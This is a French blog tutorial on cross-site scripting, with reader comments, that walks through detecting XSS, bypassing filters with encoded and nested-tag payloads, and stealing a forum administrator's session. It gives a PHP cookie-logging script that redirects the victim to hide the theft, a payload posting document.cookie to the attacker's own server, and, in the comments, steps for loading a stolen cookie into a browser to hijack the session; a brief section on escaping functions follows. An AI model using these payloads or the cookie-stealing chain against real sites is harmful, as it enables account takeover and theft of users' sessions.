Ahmed EL JAOUARI
Mar 6, 2012
10 Min
Facile

Dans ce billet, je vais vous parler de la faille cross-site scripting, abrégé XSS, on va voir comment exploiter cette faille et bien sûr comment s’en protéger.


Avant de commencer, je dois éclaircir une chose : plusieurs personnes sont entrain de penser que cette faille ça ne sert a rien, et bien c’est faux, croyez moi la faille XSS c’est dangereuse, certes vous n’allez pas pouvoir prendre le le contrôle d’un serveur avec cette faille mais il facilite la tache à d’autres types attaques. Il faut simplement savoir comment s’en servir.

La faille XSS c’est quoi ?

La faille XSS, a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), est un type de faille de sécurité des sites Web, que l’on trouve dans les applications Web mal sécurisé.

Le principe de cette faille est d’injecter un code malveillant en langage de script dans un site web vulnérable, par exemple en déposant un message dans un forum qui redirige l’internaute vers un faux site (phishing) ou qui vole vos informations (cookies).

La faille XSS permet d’exécuter des scripts du coté client. Ceci signifie que vous ne pouvez exécuter que du JAVASCRIPT, HTML et d’autres langages qui ne vont s’exécuter que chez celui qui lance le script et pas sur le serveur directement, je laisse votre imagination vous donner des idées.

Comment détecter la présence d’une faille XSS ?

Les XSS sont très répandue sur le web, plus précisément dans les forums, application web et les moteurs de recherches,
La détection de la présence d’une faille XSS peut se faire par exemple en entrant un script Javascript dans un champ de formulaire ou dans une URL :

<script > alert (Hack) </script >

Si une boîte de dialogue apparaît, on peut en conclure que l’application Web est sensible aux attaques de type XSS.

Pour bien comprendre le principe, rien ne vaut un exemple.
Supposons le code suivant :

<center>
<?php if (isset($_GET[‘mot_recherche’]))
{
echo « Vous recherchez le mot suivant: « .$_GET[‘mot_recherche’];
}?>Recherche:
<form method= »get » action= »XSS.php »>
<input type= »text » name= »mot_recherche »/>
<input type= »submit » name= »Submit » value= »Envoyer » />
</form> </center>

Sur un navigateur web cela donnerait :

Aucune variable n’a été transmit en GET donc la page n’affiche que « Recherche ». Si maintenant je tape « FunInformatique » et je valide, cela me donne « Vous recherchez le mot suivant: FunInformatique »/

Jusqu’à maintenant tout est normale. Mais que se passe-t-il si je tape <script>alert(‘Hack’)</script> dans recherche, le code JavaScript tapé dans recherche est ainsi exécuté. Comme ça on peut conclure que cette application contient une faille XSS.

Comment contourner les filtres XSS

Dans la réalité, ça ne marche pas toujours comme ça, les développeurs web ont conscience de cette attaque, alors ils ont développé des méthodes pour sécuriser leurs applications  web contre cette faille,  je peux par exemple citer magic_quote_gpc.

Dans cette parti, je vais vous montrer comment contourner certains filtres :

magic_quote_gpc

Lorsque les magic_quotes sont activées, tous les caractères ‘ (apostrophes),  » (guillemets), (antislash) et NULL sont donc échappés par un antislash.
Par exemple si je tape:

<script> alert("Hack")</script>

Il devient:

<script>alert(\"hack\")</script>

Donc comment contourner ce filtre ? Il suffit d’utiliser la fonction javascript appelée String.fromCharCode().

Cette fonction va convertir notre texte en caractères décimaux.

Pour cela, je vais utiliser Hackbar, un plugin Firefox.

Utiliser « hack » (sans guillemet) ressemblera à ceci:

<script>alert(String.fromCharCode(104, 97, 99, 107))</script>

Miracle ça marche !

Technique d’Obfuscation

Ce filtre, par exemple bloque les mots suivants:

  • script
  • alert

Ici si nous mettons <script>alert(‘Hack’)</script> le site vas nous donner comme message alert() car il va enlever tout les <script> et </script>.

Pour contourner ce filtre, nous allons juste changer <script> par <scrscriptipt> et alert par alealertrt

comme ceci :

<scr < script >ipt > alealertrt () </scr </ script >ipt >

Une fois les bannières enlevées ça nous donne :

<script> alert(« Hack »)</script>

Et ça marche encore !

Il existe un plugin Firefox, XSS ME spécialisé dans la recherche de ce type de vulnérabilité.

Comment exploiter une faille XSS ?

Bon alors, comme nous venons de le voir, les failles XSS s’exécutent du côté client. Donc pour piéger une cible nous devons faire en sorte que l’administrateur du site exécute lui même notre script. Et après, nous devons récupérer son cookie.

Donc pour exploiter la faille XSS, il nous faut un script PHP qui va récupérer la valeur de la variable $cookie et l’écrit dans un fichier .txt.

Pour cela, créez un fichier sous le nom xss.php et mettez le code suivant :

<?php
$cookie = $_GET[‘a’]; // on reconnaît a en variable GET
if($cookie)
{
$fp = fopen(‘cookies.txt’,’a’); // On ouvre cookies.txt en édition
fputs($fp,$cook . ‘rn’);// On écrit le contenu du cookie sur une nouvelle ligne
fclose($fp); // On ferme le fichier cookies.txt
}?>
<script>
location.replace(‘http://www.google.fr);
// Rediriger la cible vers google.fr pour qu’il ne se doute de rien
</script>

Enregistrez le fichier xss.php, puis mettez le sur un serveur FTP qui supporte bien sur le PHP.
Voila notre script est en place, il ne reste plus qu’a le tester.

Imaginons qu’en testant les techniques citées en haut sur un forum, où vous êtes un membre, vous détectez la présence d’une faille XSS et vous voulez utiliser le script PHP que nous avons crée.

 Comment faire ?

Tout simplement vous postez un message sur le forum contenant le texte suivant:

<script>
window.open(‘http://votresite.com/xss.php?a=’+document.cookie)
</script>

XSS sur Forum Google

En voyant le code, on comprend parfaitement qu’il y a ?a=, c’est la variable $_GET[‘a’] de notre code.

document.cookie représente le cookie de la victime.

Vous venez de récupérer le cookie de l’admin du forum mais que faire avec ?

A ce moment là que beaucoup de personne pensent que les failles XSS ne sont pas dangereuse mais ils se trompent largement. Une fois que vous avez récupérez un cookie vous allez pouvoir le mettre dans votre dossier avec vos cookies. Ensuite relancez votre navigateur web et vous pourriez accéder à la session de l’admin sans avoir besoin d’un mot de passe.

Se protéger de la faille XSS

Plusieurs techniques permettent se se protéger de la faille XSS :

  • Utiliser la fonction htmlspecialchars(), il convertit les caractères spéciaux en entités HTML.
  • Utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu’elle filtre tout les caractères équivalents au codage html ou javascript.
  • Utiliser strip_tags(), cette fonction supprime toutes les balises.

J’espère que vous aurez pu apprendre quelque chose à travers cet article, et avoir compris le danger de la faille XSS !

Sinon pensez à partager ce billet sur Facebook ou Twitter, cela me ferait vraiment plaisir ! 😉




LAISSEZ UN COMMENTAIRE

  1. The nightwalker

    Bon je suis en retard mais j’ai pensé que ça pourrait servir,
    Le truc c’est que la methode
    window.open(—);
    Ouvre une fenetre popup dans le navigateur et la plupart des navigateurs web actuels dignes de ce nom, (avec protection contre pub intrusive) bloque automatiquement l’ouverture de fenetre popup. Donc tres souvent, ceci ne pourrait pas servir, à moins que l’utilisateur ait lui meme force le navigateur à changer d’habitude

  2. Thibault Martin

    Oula !!!! En lisant l’article, j’ai vue que j’avais oublié de sécuriser une page de mon site, en plus, une page public …

    Très bon article sinon 🙂

  3. Lucas

    Bonjour!
    Article très interressant, malheureusement, il a été copié.
    L’URL de l’article copié: http//\anonoups.unblog.fr/2012/10/26/faille-xss-comment-lexploiter-et-sen-proteger/
    bonne chance!

    1. bonjour lucas,

      Vous vous trompez. C’est ce blog qui copie tous les nouveaux articles de notre blog FunInformatique.

      Pour le vérifier, aller dans l’article que tu as posté dans le commentaire, vous vous trouvez des mot clés en rouge avec des liens qui pointe vers FunInformatique. Comme les mots clé phishing, hackbar et d’autres.

      C’est le même cas pour les autres articles.

      Cordialement

  4. Anonyme

    Cette faille devient de plus en plus inutilisable, elle n’est pas facilement exploitable, en particulier pour les réseaux sociaux and cie. Je ne sais pas si récemment un individu a sortir une nouvelle faille, mais tout ce que je sais c’est qu’elle est corrigée de plus en plus vite, les cyber criminels ont de plus en plus de difficultés à en venir à bout

  5. Boulama

    Salut Ahmed ! Sympa l’article, mais pour le hacking, il faut aussi se méfier des injections SQL ! Même si la faille XSS est assez facile à exploiter, surtout sur les sites des novices. 🙂

  6. Mohamed Rifak

    cet article date de tres longtemps, je me demande si Mr Ahmed est tjrs a jour, en tous cas ma demande c’est : comment recuperer le cookie (en tant que fichier) et le mettre dans mes cookies , ou se trouve les cookies, je ne connais que le dossier de IE et c’est deja une galère pour y acceder (permission de Windows), je n’ai pu que recuperer les valeur de cookie (grace à $_COOKIE) et quand j’ecrase la vAriable PHPSESSID par celle recuperé je ne recupere pas la session en question (je teste en localhost et par different navigateur pour deux session differente).
    Merci pour la répose

    1. Salut Mohamed,

      Pour récupérer un cookie d’un site web, tu tapes dans la barre d’adresse: javascript:document.cookie

      Pour utiliser le cookie récupéré dans un navigateur firefox, tu peux utiliser le script cookie injector: http://userscripts.org/scripts/show/109320
      mais avant ça tu dois installer l’addon firefox greasemonkey sur : https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/?src=search

      Greasemonkey permet d’exécuter des scripts en JavaScript sur les différentes pages web.

      Après l’installation du greasemonkey et l’ajout du cookie injector, tu tapes la touche ALT + C dans le navigateur. Enfin, tu colles le cookie que tu as récupérer dans la fenêtre affiché.

      1. twisterblack

        oui, d accord ça c’est pour récupérer tes propres cookies, mais ce qui est moins logique c’est comment faire exécuté le script qui récupère les cookie à l’administrateur ou utilisateurs du site vulnérable ? ils vont pas le faire de leurs propre grès quand même ?!